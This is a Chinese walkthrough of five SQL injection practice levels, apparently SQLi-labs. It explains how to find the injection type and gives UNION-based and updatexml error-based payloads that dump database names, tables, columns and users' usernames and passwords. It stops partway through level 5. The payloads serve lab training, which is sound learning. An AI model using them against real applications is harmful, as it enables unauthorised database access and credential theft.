1.打开页面,出现下图所示
由此得出,此关卡需要我们输入一个id值,然后判断id值是字符型还是数字型。
输入?id=1‘发现页面报错,可以确定id值为字符型。
下一步,通过语句order by来确定有几列如?id=1' order by 1 --+,超过就会报错,将3换成4后会报错,说明有3列。
下一步爆出显示位
输入?id=-1'union select 1,2,3--+
再输入?id=-1'union select 1,database(),version()--+获取域名和版号
输入?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+得到
查询得知当前有四个数据库,根据表名推测用户账户和密码应该是在users中,然后输入
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
图中可以观察到存在用户名和密码,那就接着查询
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
完成。
2.打开题目
与第一题为同一类型。
判断类型为数字型,其余步骤一样
3.打开题目
先判断类型,输入?id=1'
根据报错信息可知,应该是字符型且有括号,改为?id=-1')继续题目一的步骤即可。
4.打开题目
输入?id=1判断类型得知是双引号还有括号,改为?id=-1"),余下步骤和题目一相同
5.
判断为数字型,但是页面与前四关明显不同
输入?id=1'and updatexml(1,concat('!',database(),'!'),1) -- q得到库名,继续输入?id=1'and updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1) --+
继续查询ususers表的列名
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
查询users name